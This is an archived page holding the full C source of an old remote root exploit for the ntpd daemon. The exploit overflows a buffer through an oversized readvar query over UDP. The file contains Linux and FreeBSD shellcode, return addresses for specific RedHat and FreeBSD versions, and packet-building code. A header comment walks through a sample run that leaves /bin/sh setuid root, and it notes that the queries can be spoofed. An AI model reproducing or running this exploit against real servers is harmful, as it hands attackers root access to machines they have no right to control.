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TUCoPS :: Unix :: General :: ntpd-exp.c

NTPD Exploit




/* ntpd remote root exploit / babcia padlina ltd. <venglin@freebsd.lublin.pl> */

/*
 * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable
 * to remote buffer overflow attack. It occurs when building response for
 * a query with large readvar argument. In almost all cases, ntpd is running
 * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver.
 *
 * Althought it's a normal buffer overflow, exploiting it is much harder.
 * Destination buffer is accidentally damaged, when attack is performed, so
 * shellcode can't be larger than approx. 70 bytes. This proof of concept code
 * uses small execve() shellcode to run /tmp/sh binary. Full remote attack
 * is possible.
 *
 * NTP is stateless UDP based protocol, so all malicious queries can be
 * spoofed.
 *
 * Example of use on generic RedHat 7.0 box:
 *
 * [venglin@cipsko venglin]$ cat dupa.c
 * main() { setreuid(0,0); system("chmod 4755 /bin/sh");  }
 * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
 * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
 * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
 * ntpdx v1.0 by venglin@freebsd.lublin.pl
 * 
 * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
 *
 * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
 * [1] <- evil query (pkt = 512 | shell = 45)
 * [2] <- null query (pkt = 12)
 * Done.
 * /tmp/sh was spawned.
 * [venglin@cipsko venglin]$ ls -al /bin/bash
 * -rwsr-xr-x    1 root     root       512540 Aug 22  2000 /bin/bash
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>

#define NOP	0x90
#define ADDRS	8
#define PKTSIZ	512

static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";

/* generic execve() shellcodes */

char lin_execve[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/tmp/sh";

char bsd_execve[] =
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01"
        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

struct platforms
{
	char *os;
	char *version;
	char *code;
	long ret;
	int align;
	int shalign;
	int port;
};

/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet 
 * *after* RET address. This values will vary from platform to platform.
 */

struct platforms targ[] =
{
	{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
		0xbfbff8bc, 200, 220, 0 },

	{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
		0xbfbff540, 200, 220, 0 },

	{ "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
		0xbffff777, 240, 160, 0 },

	{ NULL, NULL, NULL, 0x0, 0, 0, 0 }
};

long getip(name)
char *name;
{
	struct hostent *hp;
	long ip;
	extern int h_errno;

	if ((ip = inet_addr(name)) < 0)
	{
		if (!(hp = gethostbyname(name)))
		{
			fprintf(stderr, "gethostbyname(): %s\n",
				strerror(h_errno));
			exit(1);
		}
		memcpy(&ip, (hp->h_addr), 4);
	}

	return ip;
}

int doquery(host, ret, shellcode, align, shalign)
char *host, *shellcode;
long ret;
int align, shalign;
{
	/* tcpdump-based reverse engineering :)) */

	char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
		      0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
		      0x74, 0x75, 0x6d, 0x3d };

	char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
		      0x00, 0x00, 0x00, 0x00 };

	char buf[PKTSIZ], *p;
	long *ap;
	int i;

	int sockfd;
	struct sockaddr_in sa;

	bzero(&sa, sizeof(sa));

	sa.sin_family = AF_INET;
	sa.sin_port = htons(123);
	sa.sin_addr.s_addr = getip(host);

	if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
	{
		perror("socket");
		return -1;
	}

	if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
	{
		perror("connect");
		close(sockfd);
		return -1;
	}

	memset(buf, NOP, PKTSIZ);
	memcpy(buf, q2, sizeof(q2));

	p = buf + align;
	ap = (unsigned long *)p;
                
	for(i=0;i<ADDRS/4;i++)
		*ap++ = ret;

	p = (char *)ap;

	memcpy(buf+shalign, shellcode, strlen(shellcode));

	if((write(sockfd, buf, PKTSIZ)) < 0)
	{
		perror("write");
		close(sockfd);
		return -1;
	}

	fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ,
		strlen(shellcode));
	fflush(stderr);

        if ((write(sockfd, q3, sizeof(q3))) < 0)
        {
                perror("write");
                close(sockfd);
                return -1;
        }

	fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3));
	fflush(stderr);

	close(sockfd);

	return 0;
}

int main(argc, argv)
int argc;
char **argv;
{
	extern int optind, opterr;
	extern char *optarg;
	int ch, type, ofs, i;
	long ret;

	opterr = ofs = 0;
	type = -1;

	while ((ch = getopt(argc, argv, "t:o:")) != -1)
		switch((char)ch)
		{
			case 't':
				type = atoi(optarg);
				break;

			case 'o':
				ofs = atoi(optarg);
				break;

			case '?':
			default:
				puts(usage);
				exit(0);

		}

	argc -= optind;
	argv += optind;

	fprintf(stderr, "ntpdx v1.0 by venglin@freebsd.lublin.pl\n\n");

	if (type < 0)
	{
		fprintf(stderr, "Please select platform:\n");
		for (i=0;targ[i].os;i++)
		{
			fprintf(stderr, "\t-t %d : %s %s (%p)\n", i,
			targ[i].os, targ[i].version, (void *)targ[i].ret);
		}

		exit(0);
	}

	fprintf(stderr, "Selected platform: %s with ntpd %s\n\n",
			targ[type].os, targ[type].version);

	ret = targ[type].ret;
	ret += ofs;

	if (argc != 1)
	{
		puts(usage);
		exit(0);
	}

	fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n",
		(void *)ret, targ[type].align, targ[type].shalign);

	if (doquery(*argv, ret, targ[type].code, targ[type].align,
		targ[type].shalign) < 0)
	{
		fprintf(stderr, "Failed.\n");
		exit(1);
	}

	fprintf(stderr, "Done.\n");

	if (!targ[type].port)
	{
		fprintf(stderr, "/tmp/sh was spawned.\n");
		exit(0);
	}

	exit(0);
}


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